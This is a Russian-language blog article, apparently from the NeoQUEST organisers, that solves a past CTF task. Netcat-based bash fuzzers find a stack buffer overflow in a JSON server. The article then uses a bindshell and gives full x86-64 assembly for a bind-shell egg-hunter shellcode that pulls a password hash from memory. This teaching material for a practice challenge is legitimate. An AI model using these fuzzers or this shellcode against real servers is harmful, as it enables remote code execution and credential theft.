Разработка → Поиск уязвимости методом фаззинга и разработка шеллкода для её эксплуатации

NWOcs 17 февраля в 10:12 10,6k
Для поиска уязвимостей все средства хороши, а чем хорош фаззинг? Ответ прост: тем, что он дает возможность проверить, как себя поведёт программа, получившая на вход заведомо некорректные (а зачастую и вообще случайные) данные, которые не всегда входят во множество тестов разработчика.

Некорректное завершение работы программы в ходе фаззинга позволяет сделать предположение о наличии уязвимости.

В этой статье мы:

  • продемонстрируем, как фаззить обработчик JSON-запросов;
  • используя фаззинг, найдём уязвимость переполнения буфера;
  • напишем шеллкод на Ассемблере для эксплуатации найденной уязвимости.

Разбирать будем на примере исходных данных задания прошлого NeoQUEST. Известно, что 64-хбитный Linux-сервер обрабатывает запросы в формате JSON, которые заканчиваются нуль-терминатором (символом с кодом 0). Для получения ключа требуется отправить запрос с верным паролем, при этом доступа к исходным кодам и к бинарнику серверного процесса нет, даны только IP-адрес и порт. В легенде к заданию также было указано, что MD5-хеш правильного пароля содержится где-то в памяти процесса после следующих 5 символов: «hash:». А для того, чтобы вытащить пароль из памяти процесса, необходима возможность удалённого исполнения кода.


«Прощупываем» порт


Пробуем соединение по указанному адресу и порту. Для этого пользуемся широко известной утилитой netcat – «швейцарским ножом» для работы с сетью. Не забываем про завершающий нуль-терминатор в запросе:



По характеру получаемого ответа понимаем, какой вход ожидает серверный процесс. Он действительно обрабатывает голые JSON-запросы без заголовков и иных посторонних символов. Уточним, какие JSON-запросы сервер считает допустимыми с точки зрения синтаксиса:



Судя по этим ответам сервера, он распознает в качестве значений целые числа, но не распознает булевы значения.



Эти ответы сервера говорят о том, что он распознает в качестве значений непустые массивы.



Сервер распознает вложенные друг в друга ассоциативные массивы и обычные массивы, но, опять же, непустые.

В случае, если формат запроса корректно распознан, сервер проверяет наличие тега «pass» в главном ассоциативном массиве:



Если такой тег есть, проверяется его значение и, по-видимому, его хеш сверяется со значением в памяти.

Как получить корректное значение пароля? Можно попробовать простой перебор поля с паролем в запросах. Впрочем, результатов такая примитивная атака не дала.

Что ж, попробуем поискать в обработчике запросов уязвимость, эксплуатация которой позволит выполнить необходимый шеллкод и получить хеш пароля.

Используем фаззинг!


Единственный источник информации – ответы сервера на наши запросы. В отсутствии бинарного кода и исходников используем фаззинг. Более подробно про сам подход к тестированию читаем тут и там, и узнаем, что есть два основных метода фаззинга:

  1. Генерация данных.
  2. Мутация данных.

Генерировать можно случайные данные (такой подход часто называют dumb-фаззинг) или входные данные, сформированные в соответствии с моделями (smart-фаззинг). Мутация обеспечивает видоизменение существующих входных данных.

Будем использовать генерацию данных и перебирать все потенциально узкие места JSON-формата, чтобы найти такие входные запросы, при которых ответ сервера отличается от обычного.

Проверку проведем в несколько этапов:
  1. Замена служебных символов корректного запроса на неправильные.
  2. Сделаем большой уровень вложенности объектов и списков JSON друг в друга.
  3. Будем формировать запросы, в которых чего-либо «много» (длинные строки в ключах и значениях, объекты с большим количеством пар «ключ-значение», длинные списки).

1. Замена служебных символов корректного запроса на неправильные


Служебные символы — скобки, запятые, двоеточие, разделители (пробелы). Благодаря этому, в разных местах будет нарушаться структура корректного запроса. Пример такого фаззера:

#!/bin/bash

#correct query
base='{"example" : {"innerobj" : "someval"}, "example" : 777777777, "example" : [1, [2, {"inlist" : "val"}], 3], "end" : "543"}'

ad1='Access Denied, pass tag not found in JSON..'
ad2='Exit code = 0'

if1='Incorrect data format! Check your JSON syntax.'
if2='Exit code = 1'

#what we must replace in correct base query
declare -a checkable_syms=('[' ']' '{' '}' ' ' ':' ',')
#bad substitution symbols to replace with
declare -a arr=(" " "]" "{" "[[" "}}" ":" "," "A" "1" ";")

echo "Fuzzing maintenance symbols.."
for symbol in "${checkable_syms[@]}"
do
	#how manu occurencies of symbol in base string?
	num=$(($(echo $base | awk "BEGIN{FS=\"[$symbol]\"} {print NF}") - 1))
	
	#check every position of symbol
	for i in $(seq 1 $num)
	do
		#trying all of the "bad" substitutions
		for bad_sym in "${arr[@]}"
		do
			#dont bring 
			if [[ "$bad_sym" != "$symbol" ]]; then
				#constructing the query to server 				
				resp=`echo -e "$base\x00" | sed "s/[$symbol]/$bad_sym/$i" | nc 213.170.91.86 8887`
				#checking the answer, if not standart, something happened
				[[ (("$resp" =~ "$if1" && "$resp" =~ "$if2")) || (("$resp" =~ "$ad1" && "$resp" =~ "$ad2")) ]] || echo $resp
			fi
		done
	done
done



Результатов такая проверка не дала. Значит, будем проверять другие случаи.

2. Проверка на большой уровень вложенности объектов и списков JSON друг в друга


Пример фаззера для проверки:

#!/bin/bash

#how many nested objects
N=1024
base='"{\"example\" : "'
final='"{\"innerobj\" : \"someval\"}"'

ad1='Access Denied, pass tag not found in JSON..'
ad2='Exit code = 0'

if1='Incorrect data format! Check your JSON syntax.'
if2='Exit code = 1'


echo "Fuzzing nested objects.."
for i in $(seq 1 $N)
do
	#constructing the query to server with nested object
	que="$base*$i + $final + \"}\"*$i + \"\x00\""
	pyt="print($que);"	
	resp=`python -c "$pyt" | nc 213.170.91.86 8887`
	
	#checking the answer, if not standart, something happened
	[[ (("$resp" =~ "$ad1" && "$resp" =~ "$ad2")) ]] || echo $resp
Done



Опять сервер корректно обрабатывает все запросы. Аналогично проверяются списки большой вложенности. Их сервер также корректно обрабатывает. Будем проверять дальше!

3. Проверка на запросы, в которых чего-то «много»


Проверим длинные строки в ключах и значениях, объекты с большим количеством пар ключ-значение, длинные списки.

#!/bin/bash

#how many nested objects
N=2048
base1='{\"example'
letter='A'
final1='\": \"example\"}'

base2='{\"example\" : \"example'
final2='\"}'

ad1='Access Denied, pass tag not found in JSON..'
ad2='Exit code = 0'

if1='Incorrect data format! Check your JSON syntax.'
if2='Exit code = 1'

flag=0

echo "Fuzzing long strings.."
for i in $(seq 1 $N)
do
	#checking long string key or value
	if [[ "$flag" == 0 ]]; then
		base=$base1
		final=$final1
		flag=1
	else
		base=$base2
		final=$final2
		flag=0	
	fi	
	que="\"$base\" + (\"$letter\")*$i + \"$final\" + \"\x00\""
	pyt="print($que);"	
	resp=`python -c "$pyt" | nc 213.170.91.86 8887`
	
	#checking the answer, if not standart, something happened
	[[ (("$resp" =~ "$ad1" && "$resp" =~ "$ad2")) ]] || echo $resp
done



Как видим, длинные строки обрабатываются нормально. Длинные списки тоже. А как насчет длинных объектов?

Пример фаззера:

#!/bin/bash

#how many pairs in resulting object
N=260

head='{'
block='\"example\" : \"val\", '
final='\"last\" : \"block\"}'

ad1='Access Denied, pass tag not found in JSON..'
ad2='Exit code = 0'

if1='Incorrect data format! Check your JSON syntax.'
if2='Exit code = 1'

echo "Fuzzing long objects.."
for i in $(seq 1 $N)
do
	#constructing long object
	que="\"$head\" + (\"$block\")*$i + \"$final\" + \"\x00\""
	pyt="print($que);"
	resp=`python -c "$pyt" | nc 213.170.91.86 8887`
	
	#checking the answer, if not standart, something happened
	[[ (("$resp" =~ "$if1" && "$resp" =~ "$if2")) || (("$resp" =~ "$ad1" && "$resp" =~ "$ad2")) ]] || echo $resp
done



Вот оно! При достаточно длинном объекте ответ сервера неполный – пользователю не выдается exit code. Это начинает происходить, когда объект содержит больше 257 пар «ключ-значение». Если сделать их количество еще больше, мы увидим, что ответ вообще не приходит:



Судя по всему, перед нами классическое переполнение буфера. Пары «ключ-значение» при разборе входного запроса помещаются в константный буфер на стеке без предварительной проверки их количества в запросе.

При этом, если число пар лежит в диапазоне от 257 до 281, перетирается адрес возврата из функции-обработчика запроса, а если их больше 281, вероятно, перетираются какие-то локальные переменные за адресом возврата. Это приводит к тому, что до пользователя не доходит и первая часть сообщения об ошибке.

Уязвимость найдена!

Эксплуатируем уязвимость


Чтобы выполнить задание и получить заветный токен, необходимо понять, чем перетирается адрес возврата. Логично предположить, что на стек последовательно складываются не сами строки (ключи и значения объекта в запросе), а указатели на них. Если это так, можно не беспокоиться о размещении шеллкода в памяти и передаче на него управления. ASLR также в таком случае перестает быть помехой.

Сильно испортить жизнь нам может DEP, ведь память под строки выделяется в куче. Но не будем торопиться с выводами и проверим наши идеи на практике. Для этого возьмем какой-нибудь проверочный шеллкод под нашу платформу с целью понять, исполняема ли память в куче у процесса сервера?

Для этого возьмем обыкновенный bindshell на порт 4444 отсюда:



Поскольку у нас нет сведений о точном размере буфера, о наличии прочих локальных переменных, выравнивании памяти на стеке и т.д., необходимо размещать шеллкод немного с запасом. Разместим его в четырёх значениях у пар после 256, им предшествующих:



Ура, все работает! Память с шеллкодом исполняема, и адрес возврата из функции-обработчика запросов перезаписывается указателем на строку с шеллкодом автоматически. У нас появился удаленный шелл на сервере. Попробуем развить успех и получить доступ к бинарному коду JSON-обработчика:



Увы, недостаточно прав, чтобы сделать что-либо стоящее. Похоже, что бинарник серверного обработчика зашифрован, и без этого пароля не получить доступ к бинарному коду.

Пишем шеллкод и получаем токен


Отчаиваться рано. Вспомним, что в данном случае наша цель – не бинарник как таковой, а значение в памяти процесса /neoquest/vuln.

Зная, что файл бинарника зашифрован, и что bindshell замещает текущий процесс сервера в памяти процессом bash, пойдём другим путем. Напишем свой egg hunt шеллкод, который найдет в памяти процесса нужное значение по известному префиксу («hash:») и выдаст его пользователю.

Вариант нашего шеллкода (длинного!) под спойлером:

Shellcode
xor eax,eax
xor ebx,ebx
xor edx,edx

;socket create syscall
mov al,0x1
mov esi,eax
inc al
mov edi,eax
mov dl,0x6
mov al,0x29
syscall

;store the server sock
xchg ebx,eax 

;bind on port 4444 syscall
xor  rax,rax
push   rax
push 0x5c110102
mov  [rsp+1],al
mov  rsi,rsp
mov  dl,0x10
mov  edi,ebx
mov  al,0x31
syscall

;listen syscall
mov  al,0x5
mov esi,eax
mov  edi,ebx
mov  al,0x32
syscall

;accept connection syscall
xor edx,edx
xor esi,esi
mov edi,ebx
mov al,0x2b
syscall

;store socket
mov edi,eax 

;dup2 syscalls - for printing result to client
xor rax,rax
mov esi,eax
mov al,0x21
syscall
inc al
mov esi,eax
mov al,0x21
syscall
inc al
mov esi,eax
mov al,0x21
syscall

;egg hunter

    xor rsi, rsi        ; Some prep junk.
    xor rdi, rdi
    xor rbx, rbx
    add bl, 5

go_end_of_page:
    or di, 0x0fff        ; We align with a page size of 0x1000
        
next_byte:
    mov cx, di
    cmp cl, 0xff
                 ; next byte offset 
    jne cmps
    inc rdi
    push 21         
    pop rax             ; We load access() in RAX
;    push rdx
;    pop rdi
    mov rdx, rdi
    add rdi, rbx        ; We need to be sure our 5 byte egg check does not span across 2 pages
    syscall           ; syscall to access()
    cmp al, 0xf2        ; Checks for EFAULT.  EFAULT indicates bad page access.
    je go_end_of_page
    jmp cmps2
cmps:
	inc rdi
cmps2:	
	cmp [rdi - 4] , dword 0x3a687361 ;ash: letters          
jne next_byte
	cmp [rdi - 5] , dword 0x68736168 ;hash letters
jne next_byte

after:
;printf 32 byte of MD5-hash 
	xor rax, rax
	add rax, 1
	mov rsi, rdi	
	xor rdi, rdi
	add rdi, 1
	
	xor rdx, rdx
	mov dl, 0x20 ; Size of 
	syscall
;exit syscall
	xor rax, rax
	add rax, 0x3b
	xor rdi, rdi
	syscall


Что делает этот шеллкод:

  • Создает сокет, прикручивает к нужному порту (bind на 4444), ожидает соединения (listen).
  • Принимает соединение, сохраняет клиентский сокет для дальнейшего использования (accept).
  • Копирует дескрипторы STDIN, STDOUT, STDERR в клиентский сокет для выдачи результата (dup2).
  • Обходит память постранично (по 4Кб). Если адрес отображен в адресное пространство процесса – движемся по странице в поисках 5-символьного префикса «hash:». Если адрес не отображен, переходим к следующей странице. Проверка адреса осуществляется системным вызовом access.
  • Найденный адрес используем для вывода в клиентский сокет 32 байт памяти после него – там должен лежать искомый хеш пароля (сист. вызов write).
  • Завершает работу (exit).

Шеллкод написали, теперь протестируем наше решение:



Сработало! При подключении на 4444 порт мы видим искомые 32 символа хеша пароля. Осталось получить пароль. Воспользуемся Google:



Искомый пароль: ABAB865A15B15538D81C066574449597. Осталось получить заветный токен:



Искомый токен: 795944475660c18d83551b51a568baba

Преимущества и недостатки фаззинга


Большое разнообразие возможных точек входа (текстовая строка, вводимая посредством GUI, бинарные данные из файла, значение поля сетевого запроса) и тестируемых приложений (можно фаззить файлы, протоколы, драйверы, веб-приложения, исходники...) делает фаззинг довольно эффективным подходом к поиску проблем безопасности программного кода.

В данной статье мы продемонстрировали довольно простой пример фаззинга, в котором мутация генерируемых тестовых данных была сведена к минимуму, однако современные фаззеры (Peach, Sulley, HotFuzz и другие ) обладают гораздо более богатым функционалом, реализуя множество алгоритмов мутации.

Тем не менее, у подхода к тестированию методом фаззинга есть и вполне очевидный недостаток: поскольку фаззер не обладает знаниями о внутренней структуре тестируемой программы, для поиска проблем безопасности придется перебрать огромное количество вариантов тестовых данных. А это, в свою очередь, требует значительных временных затрат.

А на NeoQUEST-2017 — еще больше интересных заданий!


Тренируясь в прохождении заданий NeoQUEST, всегда можно узнать что-то новое и понять, как на практике работают те или иные механизмы безопасности. В данной статье мы рассказали, что такое фаззинг, продемонстрировали, как можно обнаружить уязвимость переполнения буфера данным методом, и написали шеллкод для найденной уязвимости на Ассемблере. При этом, мы исполнили свой код, не имея даже бинарника уязвимой программы. Это — наглядная демонстрация того, что может быть, если сервер плохо реализован.

В заданиях NeoQUEST-2017, который пройдет с 1 по 10 марта, несомненно, тоже будет чему научиться, поэтому смело регистрируйтесь!
Проголосовать:
+35
Сохранить: